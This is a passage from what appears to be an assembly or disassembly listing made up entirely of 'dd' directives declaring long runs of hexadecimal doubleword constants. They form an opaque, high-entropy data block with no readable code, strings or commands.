0A2B6F49Eh, 56000069h, 7292E107h, 81012F85h dd 0B0EB1FADh, 496A119Ah, 2C4056D4h, 0D421888Dh, 18CDF13Fh dd 9FEA0031h, 17C20F85h, 0E00FCA8h, 0C64FDAEFh, 4048965Dh dd 0AC246B5Ah, 20387099h, 55EEEA1Ch, 5C2408E3h, 0A24412D6h dd 0C8F48BF9h, 3C0AC034h, 1502AE88h, 7E75BE3Dh, 550E519h dd 0A492DB5Ah, 96001D04h, 0FD5123A7h, 2CBBD90Eh, 4058CFFAh dd 0AD1C4EC9h, 51C22A0Fh, 21A36593h, 730B8043h, 0C8E7CB54h dd 3E66BFB5h, 20807AC8h, 11E4C317h, 0AD0158B3h, 72C16F13h dd 0DFF46910h, 66850729h, 0B5659E0Dh, 0FC403FEh, 16AC4AB8h dd 0B50181Fh, 9ECCA702h, 206879ADh, 0C809808Dh, 8304FA42h dd 40FDEA2Ch, 16E9D40h, 0FCB31CF5h, 6878AD10h, 0B2840464h dd 1C811421h, 416B96DBh, 0C0AD1BB8h, 98306BF9h, 0A0B08F35h dd 92F47D44h, 0F151045Ch, 84DB9B29h, 8DB84E82h, 0DB8F1827h dd 246FB890h, 35B1371Dh, 0E317D066h, 6720B422h, 601444A4h dd 5A1BFF18h, 0E254907Eh, 36258448h, 0A0009852h, 818CACA2h dd 7470D4B8h, 0C2D80569h, 41DB96Bh, 118AD84h, 0BBA47E71h dd 8702F468h, 0C9E095E9h, 0A1991D01h, 0F2A68441h, 0A9836080h dd 45B10616h, 0F92480B5h, 0C5BE5494h, 0B0E6A430h, 8D149D04h dd 5C8DD3Dh, 14F2908Fh, 0EF7EA404h, 627AC140h, 0E700D3ADh dd 3CA1ACF8h, 28B2966Dh, 2AAC2C9Ah, 2B00172h, 8C8DF4DEh dd 0BAE06943h, 0E6166C27h, 88403485h, 0CAAB1C72h, 0E46A2D9Ah dd 801BA0A2h, 420A5C52h, 0F8ED71EBh, 67E48282h, 0D0A4C92Dh dd 0DEECDB14h, 0F8FAA380h, 3CFA741h, 74E3C696h, 82DCE758h dd 0A3022DCh, 844C11A7h, 83378801h, 21A7633Dh, 0A1D42AF8h dd 8F0166F4h, 8DA06E23h, 1C3CE075h, 404CA858h, 138CE2E8h dd 82E4CA4h, 0EB89E8F4h, 0FCC06885h, 167C4A69h, 23743B54h dd 5EC900FFh, 0EF2207C0h, 6E4F9404h, 0DCD03086h, 0B5287ED4h dd 7DE95480h, 18D22064h, 39863088h, 0FF00530Dh, 0C909073Ah dd 80BC24B3h, 0B84A8482h, 20FC7A1Bh, 3E15A10h, 2F895AAFh dd 12330h, 2E580A63h, 91043C4Ch, 0DB4B65AAh, 689DE7C2h dd 1882049Ch, 39F6818Ch, 8A24B891h, 0B5048CE6h, 2F0A722Ah dd 8FDB85ACh, 6A5C02FDh, 0D0051698h, 516C88h, 68AF402Bh dd 3EE0AE65h, 0B2873600h, 6F96957Ah, 140C5E7Eh, 252DD204h dd 54595C12h, 1B18E559h, 71543600h, 0D9256AB5h, 8E74311Ch dd 240A7289h, 0FE0FC740h dd 88C2D1h, 0B23D3C31h, 48091DFFh, 9103FF45h, 571ADDBh dd 0B5663102h, 8076114Eh, 3AC081F2h, 0E253043Fh, 0A2641FD7h dd 3033F2B8h, 0DE1D04FEh, 4A04A2D2h, 0D8D0FDE4h, 0E85DF1ABh dd 90405995h, 0E8E7A409h, 18459869h, 78D7094Dh, 58653C9Eh dd 0D7257180h, 1DF50EEDh, 6C8F3F54h, 0F2A08C8h, 0CC019C24h dd 0BD84284h, 0BCC0809Dh, 0BB65A204h, 90409177h, 88C828CBh dd 7C0481B3h, 0EE3DE087h, 0CC79ACD1h, 0AB0ED118h, 60BA3B96h dd 10951BCEh, 2DCB319h, 34A67161h, 2379BCD0h, 5DAF03Fh dd 0A4481814h, 441CE4B9h, 0BCB50291h, 0FC4C29DBh, 1B421E03h dd 904A4915h, 3FF91Ch, 9948F673h, 3567D10Fh, 0DBB88502h dd 71ABEB33h, 46B028DCh, 0D8720264h, 0C73F9120h, 6B5A0760h dd 517602D8h, 0B2C3AC85h, 0A8F70F90h, 0D9E6406Dh, 1F961CB3h dd 0BA5ACAEh, 0F4803F1Fh, 1E1BF4D7h, 465EA0BCh, 0B85312E5h dd 0F37D1506h, 0DDE10019h, 92E77C5Ah, 5D301C9Ah, 0B017A925h dd 53DF5AE6h, 0C67C08A4h, 0A50844ACh, 1E183035h, 98804CF9h dd 337D2D1Bh, 0FAB9DC90h, 18DCC982h, 0A7480C18h, 0DC712E24h dd 3C653B70h, 170039A7h, 6883DD29h, 801AE3D0h, 0DC70F8FEh dd 6B5ABCD8h, 0A38705F4h, 4C6BFA94h, 0DAB01001h, 2CD95364h dd 0BD0220E4h, 0A07B5C91h, 0D7528931h, 7A9900B8h, 6DB4AD41h dd 2761007Eh, 0FE604574h, 0C2120867h, 0C8026A6h, 3A206573h dd 16006BF9h, 0B6BD9204h, 7E5F0C1Bh, 0A02CC493h, 707525h dd 0DB7FBC55h, 657A0374h, 1CF2D538h, 420E609Dh, 0C9824C4Dh dd 7450D56Ch, 73AF089Bh, 82C0200Fh, 8F155235h, 0E9C9DF5h dd 59F426Eh, 54F21FFDh, 0AE3101F2h, 0EC425F0h, 0A01CB00Dh dd 0ADD6F020h, 98A48EDBh, 0C96F1D0Fh, 51A282EAh, 76645423h dd 4913E546h, 483C1FEAh, 65A5BCEDh, 80716F68h, 0A8EB43E0h dd 7E650056h, 0E5763D8Eh, 0D04EFF91h, 0DE23402Fh, 3899E00h dd 71F39E0h, 0C53D91CFh, 82A074E5h, 28670456h, 0F860FFC4h dd 0BD70F5A2h, 908AA10Bh, 0D6D00748h, 13693540h, 26D826AAh dd 0B88F0268h, 0EC601246h, 1B27A820h, 9EC0207Fh, 4EB0EBEAh dd 0E08165Eh, 501001B4h, 0E7CB2BCh, 75E51286h, 97F04156h dd 7F0D3698h, 0A413EC23h, 2523B014h, 3DA70900h, 9713F984h dd 40010014h, 0B194A762h, 42B190Ah, 14CFB3Ch, 1BD88D11h dd 65109C69h, 866F0401h, 0C8B921ACh, 0CC081410h, 2F9DB125h dd 0B88C1585h, 249A9EE8h, 1C7E130Bh, 2284F887h, 0B11009DEh dd 304C19FAh, 30BF7C14h, 840AAC10h, 925DD080h, 0F0CB266h dd 3265ABF5h, 21D5CA4h, 5564C296h, 7CE4691Ch, 0AA50BDFFh dd 74445807h, 2888D87Dh, 502E69E0h, 813B0663h, 80993FA4h dd 0C830D73Ah, 28286018h, 0DC218515h, 3C0570D6h, 0D0976DA1h dd 8EC6301Ch, 61DD7C30h, 0DE26DBh, 0C066722Dh, 134D2EA6h dd 0E2509903h, 0D8831C71h, 175DE606h, 0CE0B288Eh, 0C034C850h dd 0EDEE2E2Ch, 7D38B70Ch, 2981D6h, 7EA6B0E4h, 94D59DD9h dd 0D8E83F00h, 32D3F142h, 5C40C5Ch, 1660976Ch, 60B7709h dd 41C012B2h, 0A6DDED58h, 4AB85C2Dh, 0A7BAB009h, 72B48015h dd 0E499F05h, 84565C5Dh, 7FB1F440h, 0A0A2D66Ah, 7C039840h dd 3170A801h, 4D759A88h, 0E4E25833h, 4ADB0930h, 82904298h dd 3C5805A2h, 0C48DF12Ch, 16D88425h, 0E2F278A2h, 48036630h dd 0B70340A9h, 0B99F902Ah, 0CA5C80EDh, 312F3C91h, 80F8B54Eh dd 0A6EC2982h, 0BF0EE470h, 76D1190Dh, 1FD584B4h, 1099A33h dd 0CE0C9829h, 81AEC418h, 0A9C4A12h, 24805CD1h, 59881C28h dd 0D88826BBh, 0D6C2B441h, 5EE1F820h, 23943B13h, 0FE4F00DEh dd 6C1598AAh, 19A44018h, 1CF4761h, 37EDD114h, 0F0800CFCh dd 8985B23h, 0F8822970h, 5147619Ch, 240792DBh, 0B0B4A46Ch dd 56AC1680h, 7C939FF3h, 84595CA3h, 0D0074DC5h, 48EB9098h dd 0F45B9498h, 18E8304Ch, 824C4242h, 438481DBh, 84F2DD70h dd 2930C9F2h, 0E1450042h, 0FD117A6Fh, 0DB032D12h, 0AD97F433h dd 78CCEC95h, 0CC028A7Dh, 245EB62Ch, 2C488B47h, 0FF467400h dd 0A3AD4300h, 0DBE307A5h, 7E71AB09h, 82ACE0D4h, 606CE79Ah dd 32186F32h, 0C6A403h, 0CD8544C9h, 78C7D552h, 63A5B700h dd 24F973A3h, 0B84018B3h, 0DB7DB8B2h, 4829CA8h, 0FA0FA40Fh dd 6DAA7B7h, 852D6251h, 4C15BFE4h, 3980C0D1h, 3E9EBBD9h dd 0FAC5BC3Ah, 5E377C02h, 56EFE3C3h, 99A464Ch, 0FC2B722Ah dd 3601EC7Bh, 230CF440h, 87E81F8Fh, 0D883B3Ah, 546A4A85h dd 85B4C54Dh, 0A0DC80B8h, 731240A3h, 50466F0Fh, 7B5908D1h dd 0CC6E00A1h, 0D9768AB4h, 3F001223h, 5507A0BDh, 0EC317C8Bh dd 0DAA72EE8h, 6F12405Ch, 70B973D4h, 4718CED1h, 0BA03B00Eh dd 90C2BEC5h, 5CEAFFCBh, 0E500DC68h, 0CD724A09h, 586C0670h dd 0FE25B09Fh, 0E8591889h, 61182079h, 714E5098h, 2081C840h dd 39DCBB60h, 2FA0E70h, 686D4D15h, 5EE0CB95h, 9F00A461h dd 25780BA3h, 5B851E1Ch, 48456D5h, 23DD96Ch, 492F7265h dd 402F88C8h, 19EA82A0h, 4CB17E1Bh, 550DE900h, 3F152A5Ah dd 0F40ED703h, 5687B591h, 0A5EFC2C8h, 11F5D860h, 495C6090h dd 0F18E1284h, 1A2280B2h, 0C8F7B13h, 6B3EB0F1h, 0B429000Ch dd 0E4894378h, 0A42300F7h, 7F947EEFh, 959FDFA6h, 823110BCh dd 542E75A0h, 30911730h, 0F98D9A24h, 980C6128h, 2010CA18h dd 88E7BE58h, 6B020244h, 68966F08h, 2024F225h, 5D090A7Dh dd 0F9546B7Eh, 53CA6E4h, 84910C9Fh, 0DFC0F4EFh, 36776C00h dd 0CF5D9AEAh, 685B3BD1h, 1C187B3Dh, 6913A8A5h, 0D9DD7816h dd 42BF1448h, 0ACABBD75h, 4DC1206Dh, 0F030BE3Ah, 0A352675h dd 28904980h, 8326C168h, 74529098h, 866F8280h, 8521968h dd 8298021h, 128F327Fh, 0C153F69h, 2748460h, 0E68520F8h dd 70B018F3h, 48A90CA1h, 783851F2h, 0FC7408BDh, 0CE448477h dd 4A757A9Dh, 0AEC842FDh, 0E2133DEFh, 17E40534h, 4C3811ABh dd 0ACA083C8h, 75026346h, 57914BD8h, 63584C7Eh, 8BD8006Eh dd 35606566h, 0E30193A5h, 6A845068h, 38410640h, 0CE0D233Ch dd 0C1A87126h, 5A3259A0h, 0D962DCEDh, 0AC670704h, 90B71265h dd 6639A9B0h, 0BE676D01h, 9D0570Eh, 0F6872180h, 0CFE63CDDh dd 0F221A900h, 92C003B8h, 0D96509D5h, 44071BDAh, 1178A0D8h dd 0E64008ADh, 7E0F021Ch, 0E8566A8Dh, 46769CD6h, 6A2D0023h dd 961B81F8h, 914601A7h, 0B80EF9D4h, 471304Eh, 9E66F61Dh dd 129CCD15h, 0CC29F101h, 82DB20C2h, 0F0A8D9B2h, 2C209671h dd 4A880BC8h, 985930AFh, 0E422C8A0h, 71DFE017h, 84A04F4Ah dd 0C610884Bh, 8C5EF286h, 0E35C9B90h, 8CE0E8C8h, 1B94F105h dd 0AC0C9F7Bh, 482A964h, 0F88E71F5h, 25788F18h, 0FE404172h dd 0CEB8286Ch, 0F2661D8Ch, 0E5508247h, 0DC567139h, 2455E287h dd 47CB5F60h, 0B8E408h, 0BF28CC87h, 88D7B1CDh, 1D2098A0h dd 171C1980h, 3EFB4C74h, 8C708Ch, 9CFD3B62h, 7CF6ACFCh dd 3584F896h, 0EFC0C372h, 0CD7D88h, 6C1DFA47h, 0F57B276Ah dd 72F97F12h, 0E022508Ah, 690AD130h, 7C90D69h, 4FCB0745h dd 3A8830C2h, 72007837h, 0C59B5F68h, 504473Ch, 0C34DA87Ch dd 78C8CD81h, 8C0CBCACh, 88BCC200h, 5C6EEFD5h, 0D1A918E5h dd 0F4B7911Ch, 0BBDF7900h, 99101B1Fh, 0CCE31E77h, 0E9ABCB7Bh dd 95022066h, 0A42C2DCFh dd 0C3856044h, 0A3082FA2h, 812F90A0h, 250F0790h, 0E76A6404h dd 85A54818h, 72C9F0B2h, 991A2C7Eh, 5E4CD649h, 733046h dd 0E29795E5h, 0F028A666h, 7F13D617h, 5402C512h, 5E09FEF2h dd 0F200DEC8h, 155CBED2h, 607DDCE5h, 4B82C1EEh, 320F489Fh dd 0F404F8h, 751E1BB1h, 70DB61DAh, 3E0A988Dh, 0DBFF2009h dd 85775898h, 820A1D05h, 0AC8E0C5Ch, 0E2C0FE88h, 3EE34EC8h dd 0BF879A65h, 11815317h, 7CFCF01Eh, 8CCCBC4Ch, 4F3E7EE0h dd 0F6143C8Dh, 184FC59h, 0F9C1A01Dh, 5BEC13ACh, 52653D4Ah dd 5921EC05h, 0C8148BF1h, 6EC2C0FDh, 63002540h, 0E4201D23h dd 28B287AEh, 0BB8288Ch, 0E5D6E076h, 1870B073h, 82AD006Eh dd 83BA1BA0h, 0F49C804Ah, 0EBABDB00h, 4972E6FEh, 380F3806h dd 0F28011DCh, 734B7DFBh, 9DFBA3Bh, 2E2D51h, 995210F2h dd 4C2C02C2h, 48076B4Ah, 0F5404854h, 0EE1F9F2Fh, 0DE1B00DDh dd 3C623A21h, 0DA316875h, 1C1AF991h, 288FF9C4h, 1D900EF0h dd 0B0D0D107h, 0A4DB4821h, 3AA00F00h, 9FB2655Bh, 0B1E10B5Eh dd 502FE287h, 0B7965DE0h, 117848E7h, 0C295B225h, 7B1360A8h dd 8F6C097Ch, 70FA66B0h, 158AD74h, 0AA990F30h, 3CD4DD53h dd 84FE078Ch, 1328C9B2h, 0A254E34Eh, 74E13030h, 5D8DB813h dd 178968A0h, 30188C82h, 0AF2F8334h, 1600EFEEh, 462D7ABAh dd 527FA051h, 90626815h, 688801D9h, 2005D648h, 0FA5D9E82h dd 129114F0h, 0C5F4B6B8h, 81080248h, 9CA0D04Ah, 0ACB3867Eh dd 1AF0E200h, 0D2BBAA15h, 0B8305806h, 8949E507h, 0C26FC21Bh dd 0F9B68440h, 4C096DE8h, 8F651C26h, 9FA9F84h, 87E605B7h dd 66D5AC80h, 82EF0F5h, 9A010EE8h, 14E97F75h, 2D882460h dd 7068E2C6h, 0CA30B091h, 0B25DA9E0h, 1BC0C047h, 19EA8C8Eh dd 966FACA0h, 6059E427h, 58A26C9Ch, 0DA5AD0ECh, 6CF7C1A4h dd 0C0CD7E70h, 0C1B1FC00h, 8BF0C29Dh, 0E4D8C508h, 0EAB5602Dh dd 0C86900D7h, 48822717h, 0DB00807Ch, 50159560h, 3C15FA2h dd 0D0FF99A6h, 0EAB8DF33h, 0B0B78EDBh, 4808D6Ch, 4FA0553h dd 8E0881A9h, 0FE0C71EAh, 77648056h, 67FB141h, 3AF029E2h dd 0C4C85A69h, 0DC1A4199h, 8E5EB88Fh, 0B25DB093h, 0A140448Bh dd 72070C0Ch, 74564035h, 52182100h, 91B1259Fh, 182DF194h dd 0E3720613h, 192F97DBh, 0EB1CA42Dh, 0F64AA8D8h, 446C0578h dd 0C02AD265h, 49513BD4h, 1886D602h, 4936B029h, 889F0F24h dd 10348AFAh, 0A28241D8h, 13447859h, 4A2C9EBh, 8F3031F2h dd 188A0132h, 0D0E54A04h, 33B05715h, 65CF9184h, 521CC8A4h dd 0DEF7F001h, 4940896Ah, 0DAB4303Ah, 0DD1ECF16h, 6E1DA191h dd 6F0F043Ch, 0FCE8E086h, 3C14A300h, 851ECDECh, 8230E925h dd 727DDB3Ch, 9A680060h, 3C199C3Fh, 2AE6F235h, 582D9B01h dd 0CFBFA2C8h, 0FC7C0C71h, 10073987h, 48792C0h, 3B53E33Eh dd 0E10F807Ah, 6BC50E2Ah, 831C0B35h, 24B071D3h, 9A249091h dd 6D160CDBh, 41233822h, 607C6218h, 0DAEF1001h, 3832B106h dd 1E0C8418h, 78121820h, 5038E784h, 0EBE0F6C0h, 215F2C85h dd 38C8D88Eh, 0B12761C0h, 127F0307h, 0B536058Bh, 6B31D289h dd 34E8F835h, 28CE1BCh, 4D7AD93Ah, 5C6002D2h, 0F3810D16h dd 42848087h, 20E0DC58h, 134A8CA0h, 5CC920DCh, 0E94004C2h dd 0D9DCD0E1h, 45D090FFh, 0BC783C91h, 48008CFDh, 19C7FEC4h dd 3DFD670h, 0A1FAD271h, 0E802B075h, 7ED3D168h, 8E712123h dd 63682CB4h, 4B6B190h, 0C0A66F28h, 0E9A4F4D1h, 4EDB2740h dd 0B1D82095h, 69800915h, 57B5BE5h, 239E068Ch, 0A1BED194h dd 9C00F1FAh, 0A6D5B338h, 2AF56Ch, 0DCB44F22h, 377D296h dd 9F0E60B8h, 0A9D7EE32h, 0C49C0BBEh, 0AF42FA4h, 0ECC0D0CDh dd 3B50F473h, 0C2816129h, 989137B4h, 0E01D2AD2h, 0B1B8C058h dd 0DB1040E2h, 97F6331Fh, 299D8826h, 7E6F1320h, 0E8B48510h dd 0B79E8098h, 2C1CBB0Fh, 6464DA74h, 0F8F826h, 0D3986743h dd 9F96DB16h, 0F05B7029h, 4F69970h, 2D96B9A3h, 54A883A9h dd 0E7AD44FCh, 2110A482h, 6EBE659Dh, 7CB20C17h, 2DE87448h dd 41F7008Ch, 0EEABDB94h, 7A16AD99h, 748E1084h, 2DC00188h dd 0CBF160Ah, 94D6A483h, 9381CCC9h, 14C102F7h, 0D3C49E71h dd 0A544E0C8h, 6A88F901h, 357291C7h, 0B28CADECh, 648E0BC8h dd 308E83EBh, 8428B1DFh, 9B5C2457h, 480B78A3h, 707E7197h dd 0C410B7C8h, 94005CE1h, 44300D2Fh, 2110F79h, 0B3EAFC7Eh dd 647C7F95h, 0A048E8A7h, 0E97E2565h, 0C4606C62h, 1C2D3FBEh dd 0E5444A6Dh, 61E0E4C8h, 61CC8952h, 8D118B6h, 9104B803h dd 97A7C404h, 0C48317D3h, 81D10EA5h, 0F3938085h, 30FDE290h dd 0B0001905h, 0E48CFC47h, 5E532D69h, 3A74D1A3h, 8143ECBDh dd 0E0BEC826h, 7005C412h, 0B0940662h, 8839F488h, 61C210D1h dd 0E0768CD5h, 908026Fh, 981FBC13h, 18B1AC22h, 0DB09347Eh dd 22C90A3h, 0AF2127A2h, 0E6E3E061h, 3EEAAC41h, 84FA3CC0h dd 81094F9Ah, 0FCE86FD4h, 413A8C0h, 7315777Ch, 8D0F8110h dd 1305D3D0h, 0C808CB34h, 8A9BC30Dh, 42F444F8h, 0E92D9807h dd 3A528D91h, 0E5808934h, 6721E4B0h, 967185D0h, 0BD8B6A0h dd 0CC50EBA4h, 0D51C6F05h, 8021F009h, 6025B875h, 0A8BA2430h dd 76859EBCh, 0B481B599h, 92335698h, 0C0C0AD18h, 0FE71D8EBh dd 0E0A49516h, 2770ADE1h, 0B0C8E1E3h, 23262C52h, 0A4C0CAB5h dd 1D9FF2E1h, 862091DCh, 4068ADAEh, 8921FFDh, 0B6C99907h dd 83196D26h, 4A442159h, 0E038B6C0h, 60296h, 6453C141h dd 0A4759015h, 9FF04F54h, 0A298D2Fh, 34109C94h, 5BE825h dd 96374B80h, 3AC3CC9Eh, 5DBE8CD0h, 3F44095Fh, 0EC42802h dd 4AC9C88h, 0C25DCDF2h, 0C05216A0h, 0B0919704h, 0A8A0DAFAh dd 1C1058C0h, 8008DF4Fh, 8811B44Ah, 0A1CBA3Ah, 31418DE6h dd 2F084FF8h, 8A084424h, 327106E3h, 3344E135h, 7A1B0B8h dd 1B6BB789h, 0FA1F108Eh, 0CB03701Dh, 0C19A0CF6h, 49E01715h dd 0E0C0B653h, 77F5D9h, 0E7DE0D68h, 0E24E9F52h, 0D4F47090h dd 2829480h, 9DE6890Fh, 4CC8B65Dh, 4BE1697h, 84516F18h dd 0FD4304Ah, 0BC16E90h, 1B481C0Bh, 1EA0DA87h, 0CEDE4914h dd 7F24B186h, 2E80BC92h, 0CA041474h, 2CD4997Eh, 0DE88C08Eh dd 0C836E0CFh, 17D5872h, 28D87C54h, 705D3F5Ch, 0C5403C00h dd 0CE961E76h, 2F4F4BE6h, 0A8BA2884h, 0D54428D8h, 408A882Dh dd 0CA3A004h, 0F56A90EBh, 919F7EA8h, 59C89D74h, 13F77F6h dd 87218015h, 6B1954C5h, 5CF05C27h, 1250E996h, 46B114Ah dd 18703F9Ch, 0C738E768h, 0FAB6D78h, 0DB0F61E0h, 72B8340Bh dd 455E3E00h, 0D54288E2h, 880195FBh, 0BE05418Eh, 0B7DB82C8h dd 0C6DDEA36h, 268B024h, 98973201h, 0E8F2F006h, 0A2D6240Bh dd 6F9CE0D9h, 5E22B0A6h, 0F6F8814Dh, 30E47835h, 5A5710CAh dd 0E1BE8978h, 0E9EC34FDh, 366F69C2h, 82104864h, 0C223EA42h dd 0C0142E59h, 0A6F4EA00h, 0D944990Eh, 38CE1823h, 804C36A9h dd 611B9D18h, 324B4C86h, 16844444h, 42934837h, 13CD3CE1h dd 9E688004h, 11951830h, 22F1FF8h, 9D064940h, 9C20ECD9h dd 0B8CC264Ah, 911540DEh, 1B307909h, 2C00C44Bh, 0EAEF251h dd 0C0A094DDh, 98016187h, 0DC7DAD12h, 0F517F4A2h, 4C2C7B19h dd 8BAA0BECh, 287F8723h, 0F23C2BBBh, 43560730h, 30E92AE4h dd 0A24EC17Bh, 0ACEDFA00h dd 3A9E2850h, 0FC060465h, 0A9029C41h, 5A7B109Ch, 0DE9DA7C8h dd 0AA5DBEC5h, 93F9D8F0h, 8F480910h, 1C1C20C4h, 0A0C4CFABh dd 0E4F4AD85h, 89344F7Fh, 5429D260h, 0E9830108h, 54FC4A82h dd 832AEDCh, 10375F6Fh, 7E975400h, 280223Bh, 8AFCF23Ch dd 80D7C943h, 0EE1B7518h, 91030BFAh, 0C85E86B5h, 98DA060h dd 80A88334h, 4D5A0128h, 8E16545Eh, 98A844B1h, 28D24994h dd 8FEA0C78h, 0B028ABEDh, 6670244h, 0D290EC5Ch, 9E0960E5h dd 7AFB518Dh, 0F56A2018h, 26C49F5Ch, 5C493C90h, 7F02DC84h dd 0DAD082A9h, 57E842ADh, 9906F023h, 0EF342909h, 68400B74h dd 0B8E4C0FCh, 9E7109D8h, 14C9BEE0h, 0F8D07C05h, 4D028CE1h dd 31ABE79Bh, 69D8C2A5h, 0D184470Ch, 0D2E19A04h, 0D82A8020h dd 0F84C3391h, 8B0AEE71h, 4BBB413Ah, 3223B83Bh, 0D6F4C600h dd 45B6C82h, 6FAEA0Bh, 30F0A598h, 3405374h, 1C1D40A8h dd 184000B8h, 5D1940F6h, 588B961Ah, 22BC6020h, 0BDE81659h dd 0F600A5F1h, 822DC4F6h, 5D128298h, 12D4D084h, 9C4C2CF8h dd 0D729C37Dh, 0A6F00F4Ah, 489C183Ch, 48A2FEC4h, 4B30CDE2h dd 165A078Fh, 2BD18959h, 6D979CF0h, 62E3C000h, 8CA3E482h dd 0EC5BC582h, 8E596700h, 0B5264298h, 0DBC5E822h, 0BD37103h dd 6F1C6DC9h, 9A1B0CC8h, 2B0E70A1h, 7F9D2420h, 195D3F87h dd 84E7990Eh, 80A2D365h, 98591CAEh, 21919896h, 0DEB0C84Eh dd 3A933900h, 0B31D65E2h, 0A9281D9Ah, 2D1239ADh, 54240940h dd 24E83488h, 711F0434h, 16288C63h, 0A70E058Ch, 0F8618440h dd 759B01Ch, 4D6803A7h, 9FD444B4h, 70A056A9h, 15411078h dd 41383060h, 80C028CEh, 1C5E8DEAh, 0BDAE05B0h, 0C283CF84h dd 40694638h, 89142C0Fh, 445C7A22h, 0F00E22Fh, 97197B5Eh dd 737E0Eh, 545F94F5h, 0ACC0C527h, 0D875612Ch, 63286A04h dd 0FD90DB04h, 97060824h, 85341EF2h, 9225048Dh, 1B21B81Ch dd 9B43CB83h, 2480B1F5h, 659F1982h, 0ECA4E6AAh, 151B4068h dd 3CCABDBh, 6CF9D041h, 6EA01EAEh, 0A17AA2A0h, 0BC59C009h dd 91D81720h, 83B9822Fh, 69584242h, 4C642C50h, 62A88FDh dd 9174979Dh, 0E23E80CCh, 0DFFC8849h, 884027D8h, 38B1C4C9h dd 211823D1h, 9A02948h, 6025A284h, 9117E30h, 63271420h dd 29DC3C02h, 0DD93D102h, 0C247E005h, 0EF23F234h, 5CE8847Dh dd 0A0F97225h, 0DB097611h, 0A810038Dh, 2A7865A0h, 543FB8C9h dd 9091021Ch, 0B230DE1Eh, 7F41C033h, 249DA9Fh, 5C4920B4h dd 0CD0C408Ch, 7C1E918Bh, 0B90009D8h, 0DF1532D7h, 974600E6h dd 0D26A6CE3h, 51C64E7Eh, 4907D0h, 0D46974A2h, 7B84213Ch dd 0EAEDAC00h, 966D5250h, 0F1A2626h, 987E06ACh, 8497E1D4h dd 3BAF3600h, 0FF2374h, 34F8347h, 940CE129h, 210FD03Dh dd 82B0019h, 167CA1Eh, 0F903C555h, 7B7AEBDEh, 9070B2E3h dd 7889B9A4h, 2DB7E0FFh, 0BCC1E1CEh, 84850C18h, 2D255B21h dd 150B18C4h, 0D14AE16Eh, 0DDF20198h, 0D4790F71h, 0CC3D6F60h dd 0A6050321h, 9043A1ECh, 903A7FA4h, 0A06B1694h, 0E7F8F099h dd 0B7DC8517h, 35C024A9h, 0BFE89204h, 24FC10BDh, 0B9CF8FEh dd 0FA188E82h, 29DB3403h, 421E85C0h, 0F59B0618h, 0BC77E91h dd 0F9DFF32Ch, 9207D0D2h, 1AA044B7h, 0D0FAE822h, 0E48C078h dd 0CFAEAA81h, 1CF94916h, 5A1B3421h, 4D048h, 42CB8891h dd 0E985ACD3h, 44954492h, 0C47C0020h, 9DB445A2h, 3F2C73B1h dd 0E00870C2h, 0A35E3BD2h, 0B88B4E7Ch, 2DC506C8h, 5432C8C2h dd 69130068h, 0EBA499C8h, 0D77CCA0Eh, 2BD8C5E7h, 17985C81h dd 0CE07D862h, 5B1C7391h, 402DA479h, 42489654h, 0CE12E0Ah dd 20DA9940h, 0E4EB5CECh, 366504DEh, 0D6E102DFh, 0F0A555A2h dd 9558C8C5h, 0A8AC10BCh, 200D190Dh, 22E0CA2Fh, 0DAF04B5Fh dd 0A673C028h, 4A76750h, 8D40816Ch, 0A438C14Ah, 0A5EB0112h dd 74DB3844h, 44B926C1h, 0F31CDC19h, 58FE052Fh, 2FA08620h dd 0E8408AB8h, 3BF9667Eh, 0B30C1060h, 9D56006Ah, 2AC213F7h dd 2705DA81h, 8F8EDE2Bh, 2082AC65h, 12C86A71h, 17B47E0Ch dd 7208F437h, 5582DE7Ch, 85771812h, 0DCBC8244h, 710BF222h dd 0A1B6108Eh, 17F67EE8h, 0FD29A832h, 62D88D0h, 0D8CB4B17h dd 880023DCh, 27C7D30Ah, 0A4DB4C40h, 0EA388160h, 6A008A4Ch dd 0EFCB178Dh, 5315EEh, 0F51A83AFh, 0B572CD6Fh, 4056B726h dd 40241A26h, 0A849F164h, 484B8C66h, 8000ECA2h, 168250B0h dd 9300EA84h, 400E1F74h, 14D37B78h, 74A4DB0Fh, 0DDB1FC00h dd 501E77B9h, 0A35241Fh, 13494A40h, 0BF80537Eh, 3871D40Bh dd 0B44EA300h, 4867F2FDh, 887C8CE5h, 73004049h, 78B6F496h dd 0BD4BA00Dh, 3491C497h, 0E4700E80h, 9650741Ch, 0A19509E8h dd 0DEEEB84Ch, 0A0949C7Bh, 7154F92Eh, 45E5D60Bh, 600DE4C8h dd 3CC9Bh, 0CE6EC5CDh, 0B713EC5Ah, 0E4BAF76h, 494254B4h dd 0B80F382Dh, 0B3921352h, 402F5B90h, 0F802E523h, 0A00871D2h dd 0E7B62680h, 0F846E6C0h, 0E0E5FE98h, 9E4413E9h, 81A094ADh dd 5F5EA74h, 0EE22A8EDh, 3825E54Bh, 117E8C09h, 0A9ADAAC4h dd 0BC064EDh, 13AF14CEh, 48D54690h, 18490F28h, 2DA696A8h dd 6040C5C8h, 5D5A623Fh, 0F4A87024h, 0E08C34BCh, 2509E2B4h dd 34D05FAFh, 0A1066CF6h, 0DC7D1B8Ah, 70D700A9h, 72C9BE84h dd 7F0343BFh, 6E663069h, 447E8A74h, 0F1D900C0h, 0BF5FD3CCh dd 7B049CB9h, 78F90F64h, 2682F485h, 340CC04Ah, 0E2AB4A7Dh dd 33CDF220h, 0E1726188h, 6F560304h, 0ACA0C886h, 5D631F6Bh dd 1062989Eh, 7289A88h, 807CA460h, 4497FA07h, 0F310C5AFh dd 0B74C3CAh, 0BD3F531h, 22218C70h, 822402F2h, 0EC56999Ah dd 0C4D0F709h, 0C1F4914h, 98F43D2Ah, 3492268h, 0C6334F25h dd 4E1C86C0h, 251C8165h, 574F1248h, 2C9F8B3h, 0D4503CDAh dd 5F2916C8h, 8C7D4A1h, 9FFA570h, 0F8D518C5h, 744820A7h dd 1C125410h, 9F8265E6h, 49DE3195h, 7C448064h, 0BD300BBEh dd 0A6843865h, 3A4E5A0Ch, 3320AE0Dh, 7D8024Ch, 0D91ACF35h dd 708C5458h, 3901C51h, 0CB87FB70h, 809E3066h, 8C82D761h dd 40188070h, 0C40592C7h, 6F08F291h, 748308BCh, 0A0CF61E8h dd 5416646Ch, 0F02A8200h, 0E680BB27h, 0B53E025Ah, 0AE501A2Bh dd 21000043h, 96E7FA6Fh, 7AB52E90h, 9885F8CEh, 2ED7E88Bh dd 40CC9F17h, 77C318A2h, 0EA98451Eh, 1FAD4E03h, 330DD017h dd 0F5023F52h, 0D682C100h, 0E76404Ah, 0FFD8B100h, 0FC517F34h dd 2F6C5FC5h, 1323F0h, 888D79BBh, 0A40BDA6Fh, 56180967h 